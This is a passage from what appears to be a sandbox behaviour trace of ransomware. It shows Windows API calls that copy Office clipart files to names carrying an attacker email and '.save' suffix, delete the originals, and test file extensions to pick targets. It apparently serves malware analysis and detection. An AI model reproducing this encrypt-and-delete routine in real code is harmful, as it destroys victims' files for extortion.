lpOverlapped=0x0) returned 1 [0067.862] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0067.862] SetEndOfFile (hFile=0x2f4) returned 1 [0067.862] CloseHandle (hObject=0x2f4) returned 1 [0067.864] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.864] SetEndOfFile (hFile=0x390) returned 1 [0067.865] CloseHandle (hObject=0x390) returned 1 [0067.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.865] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0067.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0067.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0067.866] lstrlenW (lpString=".doc") returned 4 [0067.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.866] lstrlenW (lpString=".docx") returned 5 [0067.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.866] lstrlenW (lpString=".pdf") returned 4 [0067.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.866] lstrlenW (lpString=".xls") returned 4 [0067.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.866] lstrlenW (lpString=".xlsx") returned 5 [0067.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.866] lstrlenW (lpString=".ppt") returned 4 [0067.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0067.866] lstrlenW (lpString=".zip") returned 4 [0067.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.866] lstrlenW (lpString=".rar") returned 4 [0067.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.866] lstrlenW (lpString=".bz2") returned 4 [0067.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.867] lstrlenW (lpString=".7z") returned 3 [0067.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0067.867] lstrlenW (lpString=".dbf") returned 4 [0067.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0067.867] lstrlenW (lpString=".1cd") returned 4 [0067.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0067.867] lstrlenW (lpString=".jpg") returned 4 [0067.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.867] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.868] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0067.868] GetLastError () returned 0x0 [0067.868] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x804, lpOverlapped=0x0) returned 1 [0067.871] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x810, lpOverlapped=0x0) returned 1 [0067.873] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0067.873] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0067.873] SetEndOfFile (hFile=0x2f4) returned 1 [0067.873] CloseHandle (hObject=0x2f4) returned 1 [0067.874] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.874] SetEndOfFile (hFile=0x390) returned 1 [0067.876] CloseHandle (hObject=0x390) returned 1 [0067.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0067.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0067.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0067.877] lstrlenW (lpString=".doc") returned 4 [0067.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.877] lstrlenW (lpString=".docx") returned 5 [0067.877] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.877] lstrlenW (lpString=".pdf") returned 4 [0067.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.878] lstrlenW (lpString=".xls") returned 4 [0067.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.878] lstrlenW (lpString=".xlsx") returned 5 [0067.878] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.878] lstrlenW (lpString=".ppt") returned 4 [0067.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0067.878] lstrlenW (lpString=".zip") returned 4 [0067.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.878] lstrlenW (lpString=".rar") returned 4 [0067.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.878] lstrlenW (lpString=".bz2") returned 4 [0067.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.878] lstrlenW (lpString=".7z") returned 3 [0067.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0067.878] lstrlenW (lpString=".dbf") returned 4 [0067.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0067.878] lstrlenW (lpString=".1cd") returned 4 [0067.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0067.878] lstrlenW (lpString=".jpg") returned 4 [0067.878] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.879] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.879] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0067.880] GetLastError () returned 0x0 [0067.880] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x15cc, lpOverlapped=0x0) returned 1 [0068.279] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x15d0, lpOverlapped=0x0) returned 1 [0068.280] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.280] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0068.280] SetEndOfFile (hFile=0x2f4) returned 1 [0068.280] CloseHandle (hObject=0x2f4) returned 1 [0068.281] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.281] SetEndOfFile (hFile=0x390) returned 1 [0068.283] CloseHandle (hObject=0x390) returned 1 [0068.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0068.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0068.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0068.384] lstrlenW (lpString=".doc") returned 4 [0068.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.384] lstrlenW (lpString=".docx") returned 5 [0068.384] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.384] lstrlenW (lpString=".pdf") returned 4 [0068.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.384] lstrlenW (lpString=".xls") returned 4 [0068.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.384] lstrlenW (lpString=".xlsx") returned 5 [0068.384] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.384] lstrlenW (lpString=".ppt") returned 4 [0068.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0068.384] lstrlenW (lpString=".zip") returned 4 [0068.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.384] lstrlenW (lpString=".rar") returned 4 [0068.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.384] lstrlenW (lpString=".bz2") returned 4 [0068.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.384] lstrlenW (lpString=".7z") returned 3 [0068.384] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0068.384] lstrlenW (lpString=".dbf") returned 4 [0068.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0068.384] lstrlenW (lpString=".1cd") returned 4 [0068.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0068.384] lstrlenW (lpString=".jpg") returned 4 [0068.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.694] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.695] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0068.695] GetLastError () returned 0x0 [0068.695] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x752, lpOverlapped=0x0) returned 1 [0068.696] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x760, lpOverlapped=0x0) returned 1 [0068.697] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.697] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0068.698] SetEndOfFile (hFile=0x314) returned 1 [0068.698] CloseHandle (hObject=0x314) returned 1 [0068.699] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.699] SetEndOfFile (hFile=0x36c) returned 1 [0068.700] CloseHandle (hObject=0x36c) returned 1 [0068.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0068.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0068.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0068.701] lstrlenW (lpString=".doc") returned 4 [0068.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.701] lstrlenW (lpString=".docx") returned 5 [0068.701] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.701] lstrlenW (lpString=".pdf") returned 4 [0068.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.701] lstrlenW (lpString=".xls") returned 4 [0068.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.701] lstrlenW (lpString=".xlsx") returned 5 [0068.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.701] lstrlenW (lpString=".ppt") returned 4 [0068.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0068.701] lstrlenW (lpString=".zip") returned 4 [0068.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.701] lstrlenW (lpString=".rar") returned 4 [0068.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.701] lstrlenW (lpString=".bz2") returned 4 [0068.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.701] lstrlenW (lpString=".7z") returned 3 [0068.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0068.701] lstrlenW (lpString=".dbf") returned 4 [0068.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0068.701] lstrlenW (lpString=".1cd") returned 4 [0068.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0068.701] lstrlenW (lpString=".jpg") returned 4 [0068.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.702] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.702] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0068.702] GetLastError () returned 0x0 [0068.702] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x976, lpOverlapped=0x0) returned 1 [0068.704] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x980, lpOverlapped=0x0) returned 1 [0068.705] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.705] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0068.705] SetEndOfFile (hFile=0x314) returned 1 [0068.705] CloseHandle (hObject=0x314) returned 1 [0068.706] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.706] SetEndOfFile (hFile=0x36c) returned 1 [0068.707] CloseHandle (hObject=0x36c) returned 1 [0068.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0068.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0068.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0068.708] lstrlenW (lpString=".doc") returned 4 [0068.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.708] lstrlenW (lpString=".docx") returned 5 [0068.708] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0068.708] lstrlenW (lpString=".pdf") returned 4 [0068.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.708] lstrlenW (lpString=".xls") returned 4 [0068.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.708] lstrlenW (lpString=".xlsx") returned 5 [0068.708] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0068.708] lstrlenW (lpString=".ppt") returned 4 [0068.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0068.708] lstrlenW (lpString=".zip") returned 4 [0068.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.708] lstrlenW (lpString=".rar") returned 4 [0068.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.708] lstrlenW (lpString=".bz2") returned 4 [0068.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.708] lstrlenW (lpString=".7z") returned 3 [0068.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0068.708] lstrlenW (lpString=".dbf") returned 4 [0068.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0068.708] lstrlenW (lpString=".1cd") returned 4 [0068.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0068.709] lstrlenW (lpString=".jpg") returned 4 [0068.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.710] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.710] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0068.710] GetLastError () returned 0x0 [0068.710] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x8d6, lpOverlapped=0x0) returned 1 [0068.711] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x8e0, lpOverlapped=0x0) returned 1 [0068.712] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.712] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0068.713] SetEndOfFile (hFile=0x314) returned 1 [0068.713] CloseHandle (hObject=0x314) returned 1 [0068.714] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.714] SetEndOfFile (hFile=0x36c) returned 1 [0068.715] CloseHandle (hObject=0x36c) returned 1 [0068.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0068.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0068.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0068.716] lstrlenW (lpString=".doc") returned 4 [0068.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.716] lstrlenW (lpString=".docx") returned 5 [0068.716] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0068.716] lstrlenW (lpString=".pdf") returned 4 [0068.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.716] lstrlenW (lpString=".xls") returned 4 [0068.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.716] lstrlenW (lpString=".xlsx") returned 5 [0068.716] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0068.716] lstrlenW (lpString=".ppt") returned 4 [0068.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.716] lstrlenW (lpString="C:\\Program Files\\Microsoft 